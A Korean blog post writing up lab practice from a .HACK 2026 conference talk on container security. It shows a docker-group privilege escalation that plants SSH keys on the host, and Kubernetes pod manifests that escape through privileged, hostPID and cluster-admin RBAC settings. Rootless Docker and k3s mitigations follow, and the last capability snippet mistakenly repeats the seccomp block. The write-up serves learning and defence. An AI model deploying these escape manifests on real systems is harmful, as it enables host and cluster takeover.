.HACK Conference 2026

.hack 2026 컨퍼런스에서 container security dilemma라는 주제를 듣고 실습을 진행해보았다. 어쩌다보니 인프라 보안 담당자로 자리를 하고 있으나, 그렇기 때문에 항상 부족하다고 느낀다. 해당 주제는 모의해킹 시에도 굉장히 좋은 포인트가 될 수 있기에 관심이 갔고 실습을 진행해 보고자 한다.

(해당 주제 요약) Docker, K8S와 같은 OS가상화 세팅에서 docker 그룹에 추가하는 것을 root권한을 주는 것과 같다는 시사점 정보보안을 하는 사람으로서 AI가 추천해주는 명령어 등에 대한 고찰이 필요함

1. Docker 컨테이너 내 root의 LPE (컨퍼런스 내용 실습)

a) 보통 쓰는 것처럼 testid를 docker그룹에 추가 ( sudo usermod -aG docker testid ) b) ubuntu 컨테이너 실행 (docker run -it -v /:/mnt ubuntu /bin/bash) c) 공격자가 ssh key 생성 하여 공개키를 container 내부에서 접근한 .ssh/authorized_keys에 넣기 d) 실제 host os의 파일도 변경된 것을 확인함

e) 이후에 덮어쓴 키를 만든 attacker로 원격 접속 수행하거나 컨테이너에서 탈옥해버림

2. K8S POD 내 LPE (컨퍼런스 내용 실습)

1) 기본 개념

Service Account란?

  • K8S는 POD가 생길 때 Service Account라는 직함을 주고 Token(출입증 카드)를 발급
  • 해당 Token은 POD내 /var/run/secrets/kubernetes.io/serviceaccount/token에 저장
  • K8S API에 요청을 보낼 때 Token을 제시함 ( JWT Token임 )

구성방안

  • 보통 실습 중에는 자신의 환경과 격리하기 위해 KIND(K8s in Docker)로 수행 나도 mac > VM(Ubuntu) > Docker > minikube node를 만들어 수행해보앗음
  • 그러나 실제 운영환경에서는 별도 K8S node를 만들거나 하지 않는 경우가 많다고 함

2) 시나리오 1 (Privileged Pod를 통한 호스트 루트 파일시스템 접근 )

testid@mjserver:~$ cat privileged-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: privileged-escape
  namespace: default
spec:
  containers:
  - name: attacker
    image: ubuntu
    command: ["/bin/bash", "-c", "sleep 3600"]
    securityContext:
      privileged: true          # 핵심: 호스트 커널 접근 허용
    volumeMounts:
    - name: host-root
      mountPath: /mnt
  volumes:
  - name: host-root
    hostPath:
      path: /                   # 호스트 루트 파일시스템 마운트
      type: Directory

kubectl apply -f privileged-pod.yaml

3) 시나리오 2 ( hostPID를 통한 호스트 프로세스 접근 및 주입)

testid@mjserver:~$ cat hostpid-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: hostpid-escape
spec:
  hostPID: true                         # 호스트 PID 네임스페이스 공유
  containers:
  - name: attacker
    image: ubuntu
    command: ["/bin/bash", "-c", "sleep 3600"]
    securityContext:
      privileged: true

kubectl apply -f hostpid-pod.yaml 모든 프로세스가 격리되지 않고 보임

PID 1(init/systemd)의 네임스페이스로 진입 = 호스트 쉘 획득

테스트 환경이라 minikube node를 따로 띄워서 진행하여 이것도 하나의 가상환경이나, minikube 위의 pod에서 minikube노드로 Escape이 되는 것을 확인함

4) 시나리오 3 (RBAC 취약점: 과도한 Service Account 권한을 통한 클러스터 장악)

testid@mjserver:~$ cat bad-rbac.yaml
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: dev-sa
  namespace: default
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: bad-binding
subjects:
- kind: ServiceAccount
  name: dev-sa
  namespace: default
roleRef:
  kind: ClusterRole
  name: cluster-admin              # 과도한 권한 부여
  apiGroup: rbac.authorization.k8s.io
---
apiVersion: v1
kind: Pod
metadata:
  name: rbac-exploit
spec:
  serviceAccountName: dev-sa        # 취약한 SA 사용
  containers:
  - name: kubectl-pod
    image: bitnami/kubectl
    command: ["sleep", "3600"]

bitnami는 Openshift 호환성을 위해 /etc/passwd에 등록을 안해서 I have no name이 나오는 것도 확인함 (non-root)

cluster-admin 권한이 있어서 모든 pod이 보이고, 새로운 cluster-admin을 가진 SA를 새로 생성해버림

일부러 취약한 마운트 설정을 가진 ubuntu를 하나 생성해주고

해당 pod escape를 수행함

3. 대책방안

1) Docker

a) Rootless 도커 사용

컨테이너를 요상하게 써서 Escape이 일어난다고 해도 root가 아닌 다른 계정이니 정말 최후의 수단을 남겨두는 방법이자 기본으로 볼 수 있을 것 같다. 물론 host OS 자체에 LPE 취약점이 있다면 말짱 도루묵

VM에서 실행하여 다른 계정으로 su 명령어로 들어가다보면 해당 계정의 Systemd 인스턴스가 만들어지지 않음 systemctl 명령어로 구동이 되기 때문에, 환경변수와 사용자 소켓 디렉터리를 별도 설정/생성 해주거나, ssh로 로그인을 수행하여 systemd 프로세스를 실행시켜줘야 함.

docker group에 넣지 않았는데 docker 명령어가 가능한 것을 확인함

-v옵션으로 앞의 docker 실습과 같이 ubuntu 컨테이너 실행. 실제로 컨테이너를 실행한 notroot 계정 (uid=1002)이라서 호스트 root의 볼 수 없음 호스트에서 보면 nonroot 계정으로 도커 데몬이 돌고 있음 uid매핑 정보도 볼 수 있음

b) 컨테이너 배포 시 다른 옵션들 추가

리소스 제한 or 위험한 권한들을 기본적으로 다 막고 하나씩 추가하면서 사용하는게 안전한 듯 취약이라고 판단하기 가장 어려운 부분이 아닐까 싶다…

  • 리소스 제한
  docker run \
    --memory=512m \          # 메모리 상한
    --memory-swap=512m \     # swap도 같이 막기 (설정 안 하면 2배로 허용됨)
    --cpus=1.0 \             # CPU 코어 수
    --pids-limit=100 \       # fork bomb 방지,일종의 Dos
    myimage
  • 네트워크 격리
    • docker run —network=none myimage
  • seccomp
    • 컨테이너가 호출가능한 syscall 격리
  • Capability 최소화
    • docker run —cap-drop=ALL

2) K8S

a) Rootless K8S

VM에서 rootless docker로 rootless k8s를 실행하려니 root계정으로 cgroup 손수 등록하고 해야해서 솔직히 좀 걸림. 근데 클코는 3중으로 가상화 할 건데 그냥 K8S 실행하라는 속터지는 소리만 함. 나도 그게 더 단순하다는 건 알아…

rootless로 kubernetes를 실행하는 방법은 rootless podman이나 rootless docker로 k8s를 띄우는거 근데, ubuntu에서 바로 띄우도록 하고 싶어서 rootless k3s 환경으로 진행해볼거임 k3s는 k8s의 네임과 달리 k8s의 반쪽 보다 작은 크기의 경량 프로그램이라는 뜻에서 만들어진거임

AppArmor에 k3s 바이너리만 사용가능하도록 설정, cgroup설정(delegate.conf), ssh 접속 (systemd)를 수행하면 다음과 같이 rootless k3s를 실행가능함

2-2에서 만든 privileged-escape.yaml을 통해 pod을 생성하고 똑같이 chroot로 마운트된 위치를 보면 Permission denied로 권한 없음을 확인할 수 있음

b) POD 배포 시 다른 옵션들 추가

  • 리소스 제한
  resources:
    requests:
      memory: "256Mi"
      cpu: "500m"
    limits:
      memory: "512Mi"
      cpu: "1"
  # fork bomb 방지
  spec:
    containers:
    - name: app
      resources: ...
    # pids limit은 kubelet 레벨 설정
    # --pod-pids-limit 플래그 (node 전체)
  • 네트워크 격리
 # NetworkPolicy - docker --network=none 과 유사
  apiVersion: networking.k8s.io/v1
  kind: NetworkPolicy
  spec:
    podSelector:
      matchLabels:
        app: isolated
    policyTypes:
    - Ingress
    - Egress
    # ingress/egress 규칙 없으면 전부 차단
    # CNI 플러그인이 지원해야 동작 (Calico, Cilium 등). k3s 기본 flannel은 NetworkPolicy 미지원
  • Seccomp
securityContext:
    seccompProfile:
      type: RuntimeDefault   # 혹은 Localhost (커스텀 프로파일)
  • Capability 최소화
securityContext:
    seccompProfile:
      type: RuntimeDefault   # 혹은 Localhost (커스텀 프로파일)